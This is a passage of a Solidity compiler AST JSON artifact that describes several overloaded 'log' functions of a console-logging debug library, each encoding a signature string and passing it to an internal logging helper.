memory"}},{"id":21522,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21511,"src":"48782:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21523,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21513,"src":"48786:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2b2b18dc50ecc75180f201de41eca533fbda0c7bf525c06b5b8e87bc1d010822","typeString":"literal_string \"log(bool,string,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21517,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48714:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21518,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48718:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48714:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48714:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21516,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"48698:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48698:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21526,"nodeType":"ExpressionStatement","src":"48698:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48619:3:14","parameters":{"id":21514,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21507,"mutability":"mutable","name":"p0","nameLocation":"48628:2:14","nodeType":"VariableDeclaration","scope":21528,"src":"48623:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21506,"name":"bool","nodeType":"ElementaryTypeName","src":"48623:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21509,"mutability":"mutable","name":"p1","nameLocation":"48646:2:14","nodeType":"VariableDeclaration","scope":21528,"src":"48632:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21508,"name":"string","nodeType":"ElementaryTypeName","src":"48632:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21511,"mutability":"mutable","name":"p2","nameLocation":"48658:2:14","nodeType":"VariableDeclaration","scope":21528,"src":"48650:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21510,"name":"address","nodeType":"ElementaryTypeName","src":"48650:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21513,"mutability":"mutable","name":"p3","nameLocation":"48670:2:14","nodeType":"VariableDeclaration","scope":21528,"src":"48662:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21512,"name":"address","nodeType":"ElementaryTypeName","src":"48662:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"48622:51:14"},"returnParameters":{"id":21515,"nodeType":"ParameterList","parameters":[],"src":"48688:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21551,"nodeType":"FunctionDefinition","src":"48803:164:14","nodes":[],"body":{"id":21550,"nodeType":"Block","src":"48866:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e742c75696e7429","id":21542,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48916:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4667de8ece32e91ade336fb6d8a14a500512d40e1162a34636a5bca908b16e6a","typeString":"literal_string \"log(bool,bool,uint,uint)\""},"value":"log(bool,bool,uint,uint)"},{"id":21543,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21530,"src":"48944:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21544,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21532,"src":"48948:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21545,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21534,"src":"48952:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21546,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21536,"src":"48956:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4667de8ece32e91ade336fb6d8a14a500512d40e1162a34636a5bca908b16e6a","typeString":"literal_string \"log(bool,bool,uint,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21540,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48892:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21541,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48896:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48892:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48892:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21539,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"48876:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48876:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21549,"nodeType":"ExpressionStatement","src":"48876:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48812:3:14","parameters":{"id":21537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21530,"mutability":"mutable","name":"p0","nameLocation":"48821:2:14","nodeType":"VariableDeclaration","scope":21551,"src":"48816:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21529,"name":"bool","nodeType":"ElementaryTypeName","src":"48816:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21532,"mutability":"mutable","name":"p1","nameLocation":"48830:2:14","nodeType":"VariableDeclaration","scope":21551,"src":"48825:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21531,"name":"bool","nodeType":"ElementaryTypeName","src":"48825:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21534,"mutability":"mutable","name":"p2","nameLocation":"48839:2:14","nodeType":"VariableDeclaration","scope":21551,"src":"48834:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21533,"name":"uint","nodeType":"ElementaryTypeName","src":"48834:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21536,"mutability":"mutable","name":"p3","nameLocation":"48848:2:14","nodeType":"VariableDeclaration","scope":21551,"src":"48843:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21535,"name":"uint","nodeType":"ElementaryTypeName","src":"48843:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"48815:36:14"},"returnParameters":{"id":21538,"nodeType":"ParameterList","parameters":[],"src":"48866:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21574,"nodeType":"FunctionDefinition","src":"48973:175:14","nodes":[],"body":{"id":21573,"nodeType":"Block","src":"49045:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e742c737472696e6729","id":21565,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49095:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_50618937639b3b1cb3bbe247efb1fae4eb9a85d1e66ac66dfc77c62561966adc","typeString":"literal_string \"log(bool,bool,uint,string)\""},"value":"log(bool,bool,uint,string)"},{"id":21566,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21553,"src":"49125:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21567,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21555,"src":"49129:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21568,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21557,"src":"49133:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21569,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21559,"src":"49137:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_50618937639b3b1cb3bbe247efb1fae4eb9a85d1e66ac66dfc77c62561966adc","typeString":"literal_string \"log(bool,bool,uint,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21563,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49071:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21564,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49075:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49071:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49071:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21562,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49055:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49055:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21572,"nodeType":"ExpressionStatement","src":"49055:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48982:3:14","parameters":{"id":21560,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21553,"mutability":"mutable","name":"p0","nameLocation":"48991:2:14","nodeType":"VariableDeclaration","scope":21574,"src":"48986:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21552,"name":"bool","nodeType":"ElementaryTypeName","src":"48986:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21555,"mutability":"mutable","name":"p1","nameLocation":"49000:2:14","nodeType":"VariableDeclaration","scope":21574,"src":"48995:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21554,"name":"bool","nodeType":"ElementaryTypeName","src":"48995:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21557,"mutability":"mutable","name":"p2","nameLocation":"49009:2:14","nodeType":"VariableDeclaration","scope":21574,"src":"49004:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21556,"name":"uint","nodeType":"ElementaryTypeName","src":"49004:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21559,"mutability":"mutable","name":"p3","nameLocation":"49027:2:14","nodeType":"VariableDeclaration","scope":21574,"src":"49013:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21558,"name":"string","nodeType":"ElementaryTypeName","src":"49013:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48985:45:14"},"returnParameters":{"id":21561,"nodeType":"ParameterList","parameters":[],"src":"49045:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21597,"nodeType":"FunctionDefinition","src":"49154:164:14","nodes":[],"body":{"id":21596,"nodeType":"Block","src":"49217:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e742c626f6f6c29","id":21588,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49267:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ab5cc1c47d926d79461c86216768f32b6ec0ac12d51c1eb543ea3bd1cfec0110","typeString":"literal_string \"log(bool,bool,uint,bool)\""},"value":"log(bool,bool,uint,bool)"},{"id":21589,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21576,"src":"49295:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21590,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21578,"src":"49299:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21591,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21580,"src":"49303:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21592,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21582,"src":"49307:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ab5cc1c47d926d79461c86216768f32b6ec0ac12d51c1eb543ea3bd1cfec0110","typeString":"literal_string \"log(bool,bool,uint,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21586,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49243:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21587,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49247:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49243:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49243:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21585,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49227:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21594,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49227:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21595,"nodeType":"ExpressionStatement","src":"49227:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49163:3:14","parameters":{"id":21583,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21576,"mutability":"mutable","name":"p0","nameLocation":"49172:2:14","nodeType":"VariableDeclaration","scope":21597,"src":"49167:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21575,"name":"bool","nodeType":"ElementaryTypeName","src":"49167:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21578,"mutability":"mutable","name":"p1","nameLocation":"49181:2:14","nodeType":"VariableDeclaration","scope":21597,"src":"49176:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21577,"name":"bool","nodeType":"ElementaryTypeName","src":"49176:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21580,"mutability":"mutable","name":"p2","nameLocation":"49190:2:14","nodeType":"VariableDeclaration","scope":21597,"src":"49185:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21579,"name":"uint","nodeType":"ElementaryTypeName","src":"49185:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21582,"mutability":"mutable","name":"p3","nameLocation":"49199:2:14","nodeType":"VariableDeclaration","scope":21597,"src":"49194:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21581,"name":"bool","nodeType":"ElementaryTypeName","src":"49194:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"49166:36:14"},"returnParameters":{"id":21584,"nodeType":"ParameterList","parameters":[],"src":"49217:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21620,"nodeType":"FunctionDefinition","src":"49324:170:14","nodes":[],"body":{"id":21619,"nodeType":"Block","src":"49390:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e742c6164647265737329","id":21611,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49440:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0bff950dc175e3e278946e4adb75fffc4ee67cda33555121dd293b95b27a39a7","typeString":"literal_string \"log(bool,bool,uint,address)\""},"value":"log(bool,bool,uint,address)"},{"id":21612,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21599,"src":"49471:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21613,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21601,"src":"49475:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21614,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21603,"src":"49479:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21615,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21605,"src":"49483:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0bff950dc175e3e278946e4adb75fffc4ee67cda33555121dd293b95b27a39a7","typeString":"literal_string \"log(bool,bool,uint,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21609,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49416:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21610,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49420:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49416:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21616,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49416:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21608,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49400:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49400:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21618,"nodeType":"ExpressionStatement","src":"49400:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49333:3:14","parameters":{"id":21606,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21599,"mutability":"mutable","name":"p0","nameLocation":"49342:2:14","nodeType":"VariableDeclaration","scope":21620,"src":"49337:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21598,"name":"bool","nodeType":"ElementaryTypeName","src":"49337:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21601,"mutability":"mutable","name":"p1","nameLocation":"49351:2:14","nodeType":"VariableDeclaration","scope":21620,"src":"49346:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21600,"name":"bool","nodeType":"ElementaryTypeName","src":"49346:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21603,"mutability":"mutable","name":"p2","nameLocation":"49360:2:14","nodeType":"VariableDeclaration","scope":21620,"src":"49355:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21602,"name":"uint","nodeType":"ElementaryTypeName","src":"49355:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21605,"mutability":"mutable","name":"p3","nameLocation":"49372:2:14","nodeType":"VariableDeclaration","scope":21620,"src":"49364:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21604,"name":"address","nodeType":"ElementaryTypeName","src":"49364:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"49336:39:14"},"returnParameters":{"id":21607,"nodeType":"ParameterList","parameters":[],"src":"49390:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21643,"nodeType":"FunctionDefinition","src":"49500:175:14","nodes":[],"body":{"id":21642,"nodeType":"Block","src":"49572:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c75696e7429","id":21634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49622:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_178b4685db1dff62c4ee472c2e6bf50abba0dc230768235e43c6259152d1244e","typeString":"literal_string \"log(bool,bool,string,uint)\""},"value":"log(bool,bool,string,uint)"},{"id":21635,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21622,"src":"49652:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21636,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21624,"src":"49656:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21637,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21626,"src":"49660:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21638,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21628,"src":"49664:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_178b4685db1dff62c4ee472c2e6bf50abba0dc230768235e43c6259152d1244e","typeString":"literal_string \"log(bool,bool,string,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21632,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49598:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21633,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49602:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49598:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49598:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21631,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49582:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 